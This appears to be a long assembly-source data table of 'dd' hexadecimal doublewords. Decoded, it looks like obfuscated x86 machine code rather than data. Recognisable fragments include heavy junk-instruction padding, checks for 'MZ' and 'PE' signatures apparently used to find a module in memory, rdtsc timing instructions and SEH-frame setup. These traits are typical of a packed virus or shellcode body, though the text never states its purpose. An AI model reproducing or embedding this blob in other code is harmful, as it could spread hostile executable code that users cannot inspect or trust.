		dd 0D3FF05E6h, 0BD8B585Bh, 5E41CB9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 6FC35545h, 0B5C389F4h, 7DB529E5h
		dd 8B05E422h, 0F559BAC0h, 858D6E36h, 5E81204h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 2DC35646h, 0C6E4244Ch
		dd 7DD0B112h, 11E9E2h, 8D6A0000h, 8F89988Ah, 0F39058CCh
		dd 2DC2C694h, 0F5CE6B4Dh, 89EDB550h, 7E92404h, 46000000h
		dd 9B3AA941h, 858DF2F0h, 5E811C1h, 2799BD89h, 609005E4h
		dd 50C68B66h, 57B86652h, 0BF310FF0h, 6F661795h,	5061585Ah
		dd 16820Fh, 0EE80000h, 85000000h, 0B805DC74h, 142CB156h
		dd 9025C0DFh, 5A99B166h, 0FB8B6690h, 32B595FFh,	6A05E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0AC495EC3h, 87828DFh, 299019AFh, 0E4134DB5h,	68C0F05h
		dd 33000000h, 0E4213195h, 24448B05h, 29858904h,	8905E40Dh
		dd 0E811EC85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 14E83592h, 0FC000000h
		dd 0AF97AD6Ah, 142DB35Eh, 32E1931Eh, 0C5692D66h, 0B97F057Dh
		dd 546D6B22h, 24448B5Bh, 8589FC08h, 5E81200h, 14E9h, 0E03B3500h
		dd 0C45D7E9Dh, 15A1A795h, 24BA5261h, 130A2F7Ah,	0E1BD831Fh
		dd 5E422h, 123850Fh, 0F0B70000h, 2A4985C6h, 6A4705E4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 5D8CC351h, 0E951D29Ah, 0Bh, 2597738Fh, 605B395Dh
		dd 5977F22Ah, 0CE860h, 5DF30000h, 470679A7h, 744FB07Fh
		dd 852B019Eh, 5E4081Dh,	459D335Eh, 6105E415h, 0F2B0D668h
		dd 13E9C7h, 3C480000h, 0A224E29Bh, 7C620020h, 0AEEDC35Ch
		dd 61828322h, 243481C1h, 13681704h, 8ADCD381h, 0B5FF45C2h
		dd 5E426F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	1DC35242h, 0DE91846Ah, 0FE9B3h,	0CF800000h, 0AF3F7B72h
		dd 0AED53236h, 20F3DCDAh, 30858D6Bh, 6A05E76Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E9A1C352h, 8, 6FC0C9CBh, 0B615E489h, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0DE9EFBC3h, 8965E2A2h, 0E422E185h, 6880F05h,	89000000h
		dd 0E42E8585h, 91BD8305h, 5E40Ch, 0B1850Fh, 9D8B0000h
		dd 5E408C9h, 9F0AB966h,	2A4985C6h, 664705E4h, 0A568D98Bh
		dd 50B33A4Eh, 8E952h, 44F60000h, 341E4F7Ah, 310FCC24h
		dd 13E8h, 0C083A800h, 0F8307459h, 0B2855732h, 0C6DBB8B0h
		dd 0C63F9C1Fh, 0EE9h, 618FD400h, 0DE640684h, 409ABBE8h
		dd 5B018504h, 3481585Ah, 35FB4724h, 95CFBF39h, 0B5FF489Ch
		dd 5E426F5h, 5E999B2h, 0CA000000h, 25FA454h, 6D30858Dh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 16B62AC3h, 0EDAC77C8h, 66D0FFFCh,	89ED53BBh
		dd 0E40C9185h, 0C98D8905h, 8305E40Dh, 0E40FF9BDh, 850F0005h
		dd 0DEh, 72D265B9h, 4985C66Bh, 5605E42Ah, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 4AC35242h
		dd 5D2F2338h, 8659824Bh, 6820Fh, 0C2810000h, 0FE46FE5h
		dd 4E8h, 1F6D3900h, 50FB8BD4h, 8E9h, 59041400h,	68393860h
		dd 24448B7Dh, 4BBB6604h, 89008B25h, 0E9042444h,	0Eh, 6BE22074h
		dd 472F6DD5h, 5640BC1Eh, 0F8589449h, 26F5B5FFh,	6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0BC2424C3h, 0AD8D8B50h, 5A05E414h, 6D30858Dh, 816605E7h
		dd 0FF1B92D3h, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0FCFB635h, 8589DEB7h
		dd 5E40FF9h, 3E21F781h,	85C64CC5h, 5E42A49h, 9195896Ch
		dd 0E805E420h, 4, 0DB057083h, 0CEBF6650h, 24448B80h, 0AA99B904h
		dd 8B5A77h, 448953B6h, 66580424h, 0B966D98Bh, 0B5FF235Eh
		dd 5E428E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	9FC35242h, 858965B7h, 5E404B9h,	3994858Dh, 0BB6605E4h
		dd 0D0FF8CAAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	7BC35040h, 788E179Dh, 0D08BE9BEh, 11F08589h, 6A05E8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B58903C3h, 5E41369h, 0FA5BD8Bh, 46A05E4h, 2D719D8Bh
		dd 6C6805E4h, 661E74BDh, 813650BFh, 0AD6C2434h,	6A1E74h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D58E2AC3h, 0BD893E12h, 5E40219h, 0CC760B68h, 240481FAh
		dd 53489F5h, 89006AF9h,	0E41369B5h, 0F995FF05h,	8A05E412h
		dd 0FC8589FDh, 6605E811h, 6AF9DE8Bh, 0DBD6B900h, 89606F28h
		dd 0E414418Dh, 0BCC18005h, 0C25F6861h, 43B97048h, 8155E722h
		dd 0C25F2434h, 0B5897049h, 5E408FDh, 0CF8B6650h, 53240489h
		dd 4ED8D01h, 6A5F05E4h,	50006A0Bh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 35A7D9F3h, 11C9858Dh
		dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 858123C3h, 0BB5191BCh, 7F2BAF91h,	9E85Bh
		dd 419E0000h, 2EB18851h, 8BF79B8Fh, 0E423918Dh,	0E9905B05h
		dd 9, 3A747BF1h, 1D92E5B8h, 89905097h, 0E4175DB5h, 0E195FF05h
		dd 8B05E422h, 0E40005BDh, 0D3B58D05h, 0F05E811h, 8Ah, 50D18B00h
		dd 0FE85650h, 0B1000000h, 0E4717948h, 87C32E7Dh, 868A5BBBh
		dd 5A5902C0h, 2434895Fh, 0F892CF81h, 0F903C8Ah,	281h, 50CB8A00h
		dd 0FF90F58Ah, 0E40C9195h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0AB08940Dh
		dd 0B0EF5A60h, 6A8DB860h, 0BA66271Ah, 0FF612CB0h, 3EB6BBD0h
		dd 8DBF3A66h, 8B6850A1h, 0E811FCB5h, 0C7C7B505h, 0E811F485h
		dd 5, 11950300h, 8005E411h, 0F00207Eh, 35284h, 2860F00h
		dd 8B000000h, 6017B2CBh, 8F0Fh,	468D0000h, 57006A20h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 2992D0C0h, 0E418159Dh, 0F8858905h, 6A05E811h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0B3D9C355h, 7E92316h, 42000000h, 0EE2C0333h,	9D8986EAh
		dd 5E4010Dh, 56E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 77DCFE5Ch, 0DDE58530h
		dd 8D23514Ah, 5E41A19h,	1FBBBB66h, 55006A40h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0E3D7C2C0h
		dd 28DCA9CBh, 80D78BCFh, 850F0038h, 0FFFFFFD0h,	1825952Bh
		dd 61E905E4h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 5C06C350h, 0C1BD8B4Dh
		dd 4805E413h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0DDC35242h, 0DC605D02h,	602A7AB1h, 97D08166h, 6870F7Dh
		dd 0F000000h, 89h, 0BD0B6100h, 5E401D5h, 0F5C3880h, 6384h
		dd 18810F00h, 0E8000000h, 0Ch, 9838096Dh, 14DA3687h, 0C8C9E3DDh
		dd 2C419D8Bh, 805F05E4h, 840F2F38h, 3Ch, 3BD3B70Fh, 0E811F885h
		dd 84830F05h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 6822C357h, 0FABF0F60h
		dd 58A0Fh, 0DABA0000h, 6169BF48h, 59D8940h, 8305E423h
		dd 0E81200BDh, 840F0005h, 74h, 1CD58D29h, 895005E4h, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 70F32CC3h, 0EE9E688h, 38000000h, 0BF7EEF08h,	0D3A1BD06h
		dd 0BAF552AAh, 85038Dh,	6A05E812h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D19EC356h
		dd 89437879h, 0E42B7985h, 0C605h, 0BD8958F5h, 5E41A4Dh
		dd 0FE950h, 50860000h, 5110AFC9h, 3F49929h, 396C1C7Fh
		dd 24048934h, 1335DA81h, 0B5FF6AFBh, 5E811ECh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 9BC35242h, 24728E31h
		dd 2ABD19B2h, 9995294Dh, 0FF05E403h, 0E811F095h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0FF8FB20Ah, 0B5BB7D9h, 41850FC0h, 61000000h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 4DC35141h, 0DBD58017h
		dd 11F485C7h, 105E8h, 8D0F0000h, 5, 0A7A69DB9h,	65E95Fh
		dd 95290000h, 5E42AC1h,	919D8B61h, 8105E420h, 11CC6h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 3D816B1Eh, 0E965B570h, 0FFFFFCCFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 80C35646h, 882E8BFh, 0E04AE2F9h
		dd 0D9BD29F5h, 6805E421h, 1F5CAE79h, 3481FB8Bh,	5C2E7924h
		dd 56006A1Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F91E80E3h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D38B71C3h
		dd 11FCB5FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0CF291C3h, 0FF1BDF80h, 0E40FF995h
		dd 0B9B52905h, 8B05E429h, 0E811F485h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 11E89086h, 18000000h, 0AEBF9649h, 0E2844D1Ch, 8D3DAC67h
		dd 60CF5E93h, 1ADEBB66h, 8B66505Bh, 8D8B90F9h, 5E4012Dh
		dd 1204858Dh, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 3247E3C3h, 8744395Ch, 17EA222h
		dd 0E41EBD8Dh, 52509005h, 880F60h, 0B5000000h, 310F61E3h
		dd 5050585Ah, 905FE5B1h, 0F9B70FF8h, 11C1858Dh,	840F05E8h
		dd 6, 1E15BD31h, 509005E4h, 198D0F52h, 0E9000000h, 14h
		dd 1325D5F3h, 55F67260h, 1B98DCB9h, 41AD0428h, 0BAF195C6h
		dd 585A310Fh, 19870F50h, 0F000000h, 1385h, 0DE800h, 45990000h
		dd 0FDF12EFBh, 189387ABh, 5B2259E6h, 0BD896090h, 5E42701h
		dd 10E861h
		dd 97540000h, 7F298F0Ch, 0FD3C2A22h, 659B5548h,	8B66BEE2h
		dd 95FF5FF9h, 5E41DFDh,	15458529h, 0C08B05E4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F3C35747h, 1085958Bh
		dd 0BD8B05E4h, 5E4138Dh, 16A1BD83h, 750005E4h, 0DBD8309h
		dd 5E422h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6A7269Dh
		dd 5BD3FF05h, 0DBD8358h, 5E422h, 53501174h, 4D0B8h, 259D8D00h
		dd 0FF05E6A6h, 0F585BD3h, 488h,	0A9BB6600h, 56006A35h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9589BD78h, 5E41B29h,	6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 18EE0AC3h, 9D29253Bh
		dd 5E410B9h, 31BD0158h,	5705E42Dh, 0AE8h, 933AF100h, 0F577075Dh
		dd 0FECC34Dh, 86h, 0C2595F00h, 8BF50008h, 55006AC0h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 7FDE250Eh, 5DEEC981h, 9E974h, 44070000h, 23F7845h, 0E83057F7h
		dd 12h,	0C0AE5B4Fh, 0EBC5E79Ah,	0DBABF1D4h, 7191A1CBh
		dd 5AF8738Ch, 1227858Dh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 982D6FC3h, 28BD8589h
		dd 12E805E4h, 0F3000000h, 0EE514F53h, 6FB986B5h, 0FC284368h
		dd 63F17C8Dh, 58F78BCFh, 47BB6660h, 0BDB589DBh,	6105E40Fh
		dd 6E8DC081h, 9D8B0000h, 5E41F1Dh, 68h,	0ED8D8900h, 5F05E424h
		dd 1A75958Bh, 34FF05E4h, 0EA816607h, 0F59B2C9h,	0F181F6BFh
		dd 4FEB9E58h, 518ACE81h, 0C18163AEh, 26D3C7Dh, 9214EB81h
		dd 0F1813660h, 3E5AAA3Ah, 7E9h,	2C900B00h, 0C3F21EE5h
		dd 0F6816651h, 48F661Dh, 0BDBA6638h, 83F78BAFh,	0E96004EFh
		dd 0Ch,	2AC73D6Eh, 61AA80EFh, 0C1C05B59h, 6166EB80h, 9254FF81h
		dd 850FFFFFh, 1Ah, 0C1737ABEh, 32E936h,	97D00000h, 7D07B3F8h
		dd 44E773DFh, 0D321EA5h, 0F60C831h, 9D8BFBBFh, 5E40099h
		dd 0FF6CE961h, 0A3A1FFFFh, 0A9046414h, 81E81427h, 224FCE1Ch
		dd 8FB5419Ah, 0E0000BAh, 0EA81F0h, 83F00000h, 958914C2h
		dd 5E417A5h, 8D14EA83h,	0E8217585h, 0FF645005h,	35h, 25896400h
		dd 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 5E41A95h,	0F3C4003h
		dd 890650B7h, 0E41B3995h, 50508B05h, 27859589h,	0F80505E4h
		dd 8B000000h, 0D1030C50h, 1CC99589h, 500305E4h,	51958908h
		dd 6405E408h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	65BD83C3h, 5E422h, 24840Fh
		dd 85C60000h, 5E42A49h,	0A7D26847h, 0B5FFD49Ah,	5E426F5h
		dd 6D30858Dh, 0D0FF05E7h, 0D0FF006Ah, 22A98589h, 0D38B05E4h
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 155461BFh, 0B70FC08Bh, 8E9F8h, 0EB20000h
		dd 0D632717Fh, 0BD8334DAh, 5E416A1h, 83097500h,	0E4220DBDh
		dd 19740005h, 0C08B5350h, 438B8h, 15858900h, 8D05E422h
		dd 0E6A8EB9Dh, 5BD3FF05h, 0DBD8358h, 5E422h, 53501774h
		dd 438B8h, 15858900h, 8D05E422h, 0E6A5DA9Dh, 5BD3FF05h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 8C92FA30h, 66A338CAh, 66EF88B9h,	0BD8BF28Bh
		dd 5E41AB9h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 9E5FD0C3h, 0E1C6D59Ah, 0E8FE606Fh
		dd 0Ch,	0B3A777F9h, 0D0225D24h,	3A1D4784h, 201D8D8Bh, 0E85E05E4h
		dd 7B2h, 425B529h, 858905E4h, 5E4229Dh,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 4EC35646h, 0C547FCDAh
		dd 781E8h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0D660D799h, 0F3268F8h, 0C181C9B7h
		dd 1C73D8C1h, 31798589h, 0C68105E4h, 7C68B825h,	745E8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0E78166C2h, 8589E163h, 5E425F5h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D7C35242h, 0E681C105h
		dd 1ED022C0h, 6F5E8h, 5D858900h, 6A05E400h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D54DC357h
		dd 7A46CD5Fh, 890F7519h, 12h, 0DE9h, 98221500h,	853DEB1h
		dd 787D3620h, 0AFE86807h, 6A000006h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6AE7C355h
		dd 0DE8h, 0C2273700h, 0C5A7A984h, 2162AFABh, 8D8BB2B8h
		dd 5E417B9h, 0FD858959h, 0F05E422h, 6BE8F0BFh, 8B000006h
		dd 0E412F5B5h, 3DB58905h, 8905E42Ah, 0E4021D85h, 71852905h
		dd 0E805E404h, 64Eh, 13E8h, 37387E00h, 5F640DB7h, 0DC1A8CC2h
		dd 89407533h, 2C4EC847h, 0F306F181h, 0B5F6102h,	0E41C098Dh
		dd 0BD858905h, 6A05E42Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6CD2C353h, 1971F497h
		dd 695D5572h, 2B2D9529h, 0F3E805E4h, 89000005h,	0E4195DB5h
		dd 0FD858905h, 6A05E426h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 374AC350h, 19D413D9h
		dd 1A19B533h, 0BBE805E4h, 0B000005h, 0E404A9BDh, 4DB58905h
		dd 8905E408h, 0E4100185h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 87557CD1h
		dd 0EC09D96Dh, 8B601C06h, 0E41649B5h, 0E861F905h, 576h
		dd 89CE8B66h, 0E4138185h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 68A6DE7Ah
		dd 49BD3157h, 5F05E431h, 541E8h, 0FB8B5700h, 0D985895Eh
		dd 6A05E402h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 57F9C357h, 13E8F28Bh, 6A000005h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9AE8C355h, 9D016D7Fh, 0BA621E55h,	0D55B58Bh
		dd 858905E4h, 5E4078Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 53C35141h, 165A4139h,	4BCE8C4h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0F27852C3h, 89F38BADh, 0E431ED85h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 11E9D8h, 1BB30000h, 0B3928BA5h, 0C7A169A1h, 76FCDB5Eh
		dd 81304CD9h, 60953DF1h, 88C0F1Dh, 0F000000h, 288h, 0E8CA8B00h
		dd 44Ah, 2E85BD8Bh, 858905E4h, 5E41611h, 37E8FA8Bh, 89000004h
		dd 0E410E995h, 0D858905h, 0F05E424h, 23E8FAB7h,	8B000004h
		dd 0E42A8DBDh, 31858905h, 5105E420h, 0C88B6659h, 6A00B0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 79C2DAC3h, 0F5FFC51h, 6AD8B6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 5ABECBC3h, 6BAh, 1B4FBF00h
		dd 0C38B2A64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0FEC35747h, 16C14A6Dh, 49B58BB1h, 0C105E416h, 0CF8B04E8h
		dd 6AE2F766h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 66DCC351h, 189638A7h, 5EBE3B93h
		dd 2B369D01h, 0F18166D8h, 8B5010CEh, 241C89FAh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F8C35242h, 0B794E22Bh
		dd 8B788DC0h, 0E40231BDh, 3995FF05h, 6A05E411h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0C894C357h, 0B3C8F215h, 880FFC57h, 0
		dd 4DB50B5Bh, 8D05E428h, 0E42CF995h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 1A89E81Ch
		dd 14E9h, 0C3492F00h, 54AC3008h, 6DFC88B6h, 0F81CDB0h
		dd 7F9EAA27h, 0B9B58B41h, 8905E424h, 6A0442h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F6810EC3h
		dd 4A7833A2h, 23A19589h, 0B58B05E4h, 5E41C11h, 21C1958Dh
		dd 0CB8B05E4h, 6A1A89h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 6C0EE1C3h, 0C9825BB3h, 0E818EBE9h
		dd 0Dh,	0D4589097h, 7B5AC48Ch, 378C7507h, 5F25B57Bh, 6A044289h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0A6F9C356h, 0DB640941h, 66F04AD2h, 5BCAC781h
		dd 299958Dh, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F35F1BC3h, 6A1A89B5h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 26E2C355h, 5848D181h, 0C7814619h, 436FC652h,	6A044289h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C628C355h, 0B46A6D1Eh, 68D0Fh, 8D890000h
		dd 5E426CDh, 2C699529h,	958D05E4h, 5E40D7Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 0DCA17C5Dh
		dd 6A1A89h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 2F4C5EC3h, 864C070Ch, 0FE9FAA2h, 0F4000000h
		dd 267E44EAh, 327264DAh, 0FA4F9659h, 42891517h,	36F18104h
		dd 8D7B2806h, 0E423C995h, 89F38B05h, 50006A1Ah,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 80014622h
		dd 0FBCED08Ch, 42891419h, 6820F04h, 81000000h, 4BB5F2E6h
		dd 0CE96Bh, 12AD0000h, 0B6A0A626h, 0FB9A9C0Ch, 958D1875h
		dd 5E41A1Dh, 1BBDBD89h,	1A8905E4h, 0CD65BFBFh, 4428966h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D4C35343h
		dd 0BD8BB6E4h, 5E428E9h, 8DF28B66h, 0E4107D95h,	0FBBF0F05h
		dd 8D891A89h, 5E4110Dh,	6A044289h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1B04C352h
		dd 7D584FE4h, 0BD9D893Ah, 8D05E427h, 0E4283995h, 0BD895205h
		dd 5E419A5h, 5E959h, 68100000h,	8956C01Ah, 0B58D2B1Ah
		dd 8905E416h, 5E80442h,	68000000h, 0F30216Ah, 2B398529h
		dd 0E95F05E4h, 0DAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 90C35343h, 5501F5A3h,	0EE8DBEAh, 29A9B58Bh
		dd 6A05E4h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	46C35141h, 44956B22h, 0BA09DFD3h, 0CF8166A9h, 6A96E8h
		dd 68D0Fh, 810F0000h, 0
		dd 2681BD8Bh, 6A05E4h, 6E8h, 0EB67B700h, 564990AEh, 19F1BD8Bh
		dd 595E05E4h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 61A4B6C3h, 5E8h,	5B739300h, 5FF86242h
		dd 0FA5BD89h, 95FF05E4h, 5E42751h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 9E64818h, 0C58ABCA3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BAC35747h
		dd 0EE9h, 0D5438300h, 0C54D275h, 166DEBAh, 8B757BA0h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0E024D817h, 0B377552Ch, 0B58B2DF4h, 5E41CA5h, 16A1BD83h
		dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 38B8C08Bh
		dd 89000004h, 0E41A5585h, 529D8D05h, 0FF05E6A9h, 83585BD3h
		dd 0E4220DBDh, 17740005h, 38B85350h, 89000004h,	0E41A5585h
		dd 0F39D8D05h, 0FF05E6A5h, 6A585BD3h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 540CC353h
		dd 0D82C3556h, 0F468F23h, 0C08BF0BFh, 19D5858Dh, 0B58905E4h
		dd 5E40D89h, 89DA8B50h,	820F2404h, 2, 6AD88Bh, 24D1BD8Bh
		dd 6A05E4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	59C35747h, 8B575663h, 665F5BDFh, 858DFB8Bh, 5E82DEBh
		dd 1C1DBD8Bh, 0C08305E4h, 0CC8A6005h, 0FE89061h, 76000000h
		dd 695CC20Fh, 0FD544916h, 0C7382E90h, 0ACBBC1FFh, 5B30F2A6h
		dd 4BA6050h, 0B9670FCEh, 77BB16FDh, 6A9061h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 941A6C3h
		dd 9E964h, 30260000h, 35119F5Ah, 6AD46A0Dh, 6A006A00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 9B13C356h, 0A195FF0Bh, 6A05E421h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 3550C353h, 0B8BE3986h, 8992D3A9h, 0E42D4D85h, 7F8D8D05h
		dd 6A05E79Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 6659C355h, 627AEF81h, 6AD1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0F6F30AC3h, 71858914h, 8B05E40Fh, 0E42C61BDh, 95BD8305h
		dd 105E429h, 0A6850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 168C9EC3h, 0A2095756h
		dd 6A026A93h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0BCA4C357h, 0E2A09286h, 0B7D1BEBh
		dd 7899D0Bh, 0E85005E4h, 11h, 0FB044ED0h, 0EE84894Fh, 72C64472h
		dd 65EE01ECh, 28D0F87h,	60000000h, 4895B61h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0CDE2FA20h, 9D89572Bh, 5E41205h, 4595FF5Fh, 0B305E410h
		dd 0FA8B66A1h, 0CF2E9h,	0E800h,	815D0000h, 0E82DF5EDh
		dd 0E18D3105h, 6A05E421h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 2612C351h, 0CB6A0A6h
		dd 75FB9A9Ch, 20E59D8Bh, 0BD8B05E4h, 5E42715h, 8168858Dh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0C58AB8C3h, 89EF8150h, 90574848h,	71014BFh
		dd 0BBBF5046h, 90434B03h, 2019D89h, 89BF05E4h, 64505187h
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 896489C3h, 25h, 21BB6600h, 2D85FFC7h
		dd 905E414h, 0E4238995h, 3FF6A05h, 0E412459Dh, 9DB5FF05h
